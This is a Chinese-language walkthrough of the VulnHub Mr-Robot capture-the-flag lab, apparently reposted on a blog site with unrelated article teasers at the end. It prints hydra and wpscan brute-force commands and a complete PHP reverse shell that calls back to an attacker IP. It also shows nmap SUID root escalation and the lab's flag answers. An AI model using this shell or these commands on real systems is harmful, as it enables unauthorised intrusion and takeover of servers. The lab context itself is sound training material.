Vulnhub项目:MrRobot

news2024/12/27 19:01:55

靶机地址:Mr-Robot: 1 ~ VulnHub

渗透过程:

先看描述,有3跟keys在这个靶机中

 首先确定靶机ip,对靶机开放的端口进行探测

访问靶机地址,出现了很酷炫的web界面,这个mr.robot,是一个美剧,还是挺好看的

没什么其他的信息了,上目录爆破,爆破发现了/admin目录,还有robots.txt,还有wordpress的相关目录

 访问robots.txt出现了一个keys和一个字典的文件,访问这个字典文件就会下载。

下载keys到本地

查看第一个keys

key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

利用nikto对网页进行扫描,看看是否存在漏洞

 没扫出什么,那就直接上wp的登录框,随便输入,先尝试登录看看,发现它会判断用户名,那就可以先去利用那个字典去爆破用户名!

抓个包看看它的构造!

hydra -L fsocity.dic -p xiaoli 192.168.56.129 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username"

这里用的是hydra的http-post-form的表单进行爆破用户名,密码随便输,先确认用户名
 用户名确定是Elliot,主角的名字,然后利用这个字典再去爆破密码,由于这个字典太大了,爆破时间过长,简化一下,把多余的重复的都去除

cat fsocity.dic| sort -u | uniq >wordlist.dic

然后利用wpscan进行爆破

wpscan --url http://192.168.56.129/wp-login/ -U Elliot -P wordlist.dic

 爆破得到Elliot的密码是ER28-0652

登录进后台,搜寻一下

英文看的累,给他改成中文!

在外观这里有个编辑器,里面放的是该网站的文件,直接在这些文件里写个shell,懒得写就用kali自带的,记得把ip和端口改成自己的就行!然后更新文件,在url中访问就OK!

kali的shell

<?php


set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.104';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

 修改ip为自己kali的ip,端口随意修改

欧克!反弹了shell,并且在/home/robot文件夹下找到了第二个key,嘿,它还不让我访问,权限不够!然后又在旁边放一个md5的密码,真是的,还得多来一下

给了robot的md5加密的密码,破解下就行

这密码,大大一个大拇指!真秀!

切换robot,再去访问,好了第二个key拿到手

key-2-of-3.txt
822c73956184f694993bede3eb39f959

最后一个,那就得提权了,还是老样子,查看是不是存在suid的文件,发现了nmap!

看看nmap,用哪个参数呢

最下面有个交互的,在这个交互的时候输入!sh,这不就返回个root的shell

 

一不小心,提权成功,拿到了第三个key

key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

本次渗透结束!

总结:

最后总结一下本次渗透的思路:

1、确定靶机ip、开放的端口探测

2、访问web端服务,收集有用信息

3、无有用信息,进行目录爆破,收集有用信息,找寻后台,获取敏感文件,找到第一个keys

4、利用敏感文件确定登录的用户名,爆破用户名和密码

5、利用爆破的用户名和密码进入后台,找寻可以利用的弱点

6、发现存在修改文件的编辑器,写入马,进行访问,反弹shell

7、获取shell后进行服务器的信息收集,获取第二个keys

8、提权获取最后的keys

9、清理痕迹

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/441183.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python语言请求示例,电商商品详情接口,代码封装

Python提供了高效的高级数据结构&#xff0c;还能简单有效地面向对象编程。Python语和动态类型&#xff0c;以及解释型语言的本质&#xff0c;使它成为多数平台上写脚本和快速开发应用的编程语言&#xff0c; [2] 随着版本的不断更新和语言新功能的添加&#xff0c;逐渐被用于…

环信 uni-app Demo升级改造计划——Vue2迁移到Vue3(一)

前言 由于环信uni-app Demo 为早期通过工具从微信小程序转换为的 uni-app 项目&#xff0c;经过实际的使用以及复用反馈&#xff0c;目前已经不适用于当前的开发使用&#xff0c;因此开启了整体升级改造计划&#xff0c;目前一期计划将 vue2 代码进行手动转换为 vue3vite&#…

MySQL高级第十四篇:锁机制分类详解(表锁,行锁,页锁,悲观锁和乐观锁)

MySQL高级第十四篇&#xff1a;锁机制分类详解&#xff08;表锁&#xff0c;行锁&#xff0c;页锁&#xff0c;悲观锁和乐观锁&#xff09; 一、概述二、MySQL并发事物访问相同记录的几种情况&#xff1f;1. 读--读情况2. 写--写情况3. 读--写情况&#xff08;写--读情况&#…

大数据项目实战之数据仓库:电商数据仓库系统——第8章 数仓开发之DIM层

文章目录 第8章 数仓开发之DIM层8.1 商品维度表8.2 优惠券维度表8.3 活动维度表8.4 地区维度表8.5 日期维度表8.6 用户维度表8.7 数据装载脚本8.7.1 首日装载脚本8.7.2 每日装载脚本 第8章 数仓开发之DIM层 DIM层设计要点&#xff1a; &#xff08;1&#xff09;DIM层的设计依…

解决 Microsoft Edge Dev 版本中右上角的 bing 按钮消失的问题 让 New Bing 还能阅读分析文档!

Microsoft Edge Dev 右上角的必应图标消失了&#xff0c;使得无法用 New Bing 阅读分析文档&#xff0c;到底什么原因呢&#xff1f; 针对 Microsoft Edge Dev 版本中右上角的发现按钮消失的问题&#xff0c;网上搜索解决方案。发现也有一些用户反馈在更新 Microsoft Edge Dev …

【C++STL精讲】优先级队列(priority_queue)与双端队列(deque)

文章目录 &#x1f490;专栏导读&#x1f490;文章导读&#x1f337;优先级队列——priority_queue&#x1f338;什么是优先级队列&#xff1f;&#x1f338;优先级队列的基本使用&#x1f338;什么是仿函数&#xff1f;&#x1f338;优先级队列的模拟实现 &#x1f337;双端队…

本地Pycharm连接远程服务器训练模型教程-yolov5为例

本篇文章解决的问题&#xff1a; 本地pycharm 与云服务器/实验室服务器进行远程连接跑实验训练、同步本地与云服务器的全部或者部分文件。 在这之前需要做的的工作&#xff1a; 1.服务器上已经创建好虚拟环境&#xff08;不会的可以看下篇文章&#xff09;&#xff1a;使用云…

git commit三种回退的方式

git commit 回退 弄清楚三个区 工作区&#xff08;working tree&#xff09;&#xff1a; 本地编辑器 暂存区&#xff08;index&#xff09;&#xff1a;git add操作后进入暂存区&#xff0c;可用git status查看 本地仓库&#xff08;repository&#xff09;&#xff1a;git …

C#上位机与三菱FX3UPLC实现异步伪实时串口通信机制(串口类通信可参考)

C#上位机与三菱FX3UPLC实现异步伪实时串口通信机制&#xff08;串口类通信可参考&#xff09; 一、串口通信概述1.1 串口通信1.2 串行通信1.2.1 串行同步通信1.2.2 串行异步通信1.2.2.1 异步通信的数据格式1.2.2.2 异步通信的数据发送过程1.2.2.3 异步通信的数据接收过程 1.3 串…

Redis如何保障缓存与数据库的数据一致性问题?

目录 一.最经典的数据库加缓存的双写双删模式 二. 高并发场景下的缓存数据库双写不一致问题分析与解决方案设计 三、上面高并发的场景下&#xff0c;该解决方案要注意的问题 一.最经典的数据库加缓存的双写双删模式 1.1 Cache Aside Pattern概念以及读写逻辑 &#xff08;…

redis非关系型数据库部署和使用(linux)

1.概念 NoSQL非关系型数据库是一种不使用关系模型来组织数据的数据库&#xff0c;通常用于存储非结构化或半结构化的数据&#xff0c;不支持或只部分支持SQL语言&#xff0c;满足最终一致性。非关系型数据库有多种类型&#xff0c;例如键值数据库、文档数据库、列式数据库、图形…

Shopee、Grab、Gojek 打造超级app已成为主流

超级App的概念在全球范围内逐渐被接受和采用。 超级App是指一种综合性的应用程序&#xff0c;允许用户在同一个平台上访问多个不同的服务&#xff0c;包括支付、社交媒体、出行、点餐等等。它的发源地是东南亚地区&#xff0c;如中国的微信、印度的Paytm和印尼的Gojek等应用&a…

Spring入门案例--bean的生命周期

bean的生命周期 关于bean的相关知识还有最后一个是bean的生命周期,对于生命周期&#xff0c;我们主要围绕着bean生命周期控 制 来讲解: 首先理解下什么是生命周期? 从创建到消亡的完整过程,例如人从出生到死亡的整个过程就是一个生命周期。 bean生命周期是什么? bean对…

C++ | 说说类中的static成员

【概念】&#xff1a;声明为static的类成员称为类的静态成员&#xff0c;用static修饰的成员变量&#xff0c;称之为静态成员变量&#xff1b;用static修饰的成员函数&#xff0c;称之为静态成员函数。静态成员变量一定要在类外进行初始化 文章目录 一、面试题引入二、static特…

5个实用的JavaScript原生API

本文带来5个难得一见的JavaScript原生API&#xff0c;为我们的前端开发带来意想不到的便利。 1. getBoundingClientRect() Element.getBoundingClientRect() 方法返回一个 DOMRect 对象&#xff0c;该对象提供有关元素大小及其相对于视口的位置的信息。 domRect element.ge…

Java笔记_11(常用API)

Java笔记_11 一、常用的API1.1、MathMath练习 1.2、System1.3、Runtime1.4、Object1.5、浅克隆、深克隆1.6、对象工具类的Objects1.7、BigInteger&#xff08;大整数&#xff09;1.8、BigDecimal&#xff08;大小数&#xff09; 二、正则表达式2.1、正则表达式基础知识2.2、正则…

关于WordPress的20个有趣事实

时值 2022 年&#xff0c;互联网格局和 WordPress 的流行发生了重大变化。COVID-19 流行几乎影响到人类生存的方方面面&#xff0c;包括我们的互联网习惯&#xff0c;这也不例外。 到 2022 年&#xff0c;我们在家工作的人数显着增加&#xff0c;下岗或发现自己有更多空闲时间…

Python基础实战3-Pycharm安装简介

Pycharm下载、安装与使用 1.打开pycharm官网&#xff1a;下载 PyCharm&#xff1a; Python IDE for Professional Developers by JetBrains 2.选择自己对应的操作系统&#xff0c;点击Download&#xff0c;默认是最新版本&#xff0c;想安装其他版本可以选择Other versions下载…

【iOS】—— Masonry源码学习(浅看,未完)

Masonry 文章目录 MasonryNSLayoutConstraint用法Masonry源码 Masonry在我们之前的学习中是一个非常有用的第三方库。 Masonry是一种基于Objective-C语言的轻量级布局框架&#xff0c;它可以简化iOS应用程序中的自动布局任务。Masonry提供了一个方便的API&#xff0c;可以编写更…

Kubernetes Service、Ingress

Service&#xff08;4层负载均衡器&#xff09; 1、K8S 可以保证任意 Pod 挂掉时自动从任意节点启动一个新的Pod进行代替&#xff0c;以及某个Pod超负载时动态对Pod进行扩容。每当 Pod 发生变化时其 IP地址也会发生变化&#xff0c;且Pod只有在K8S集群内部才可以被访问&#xf…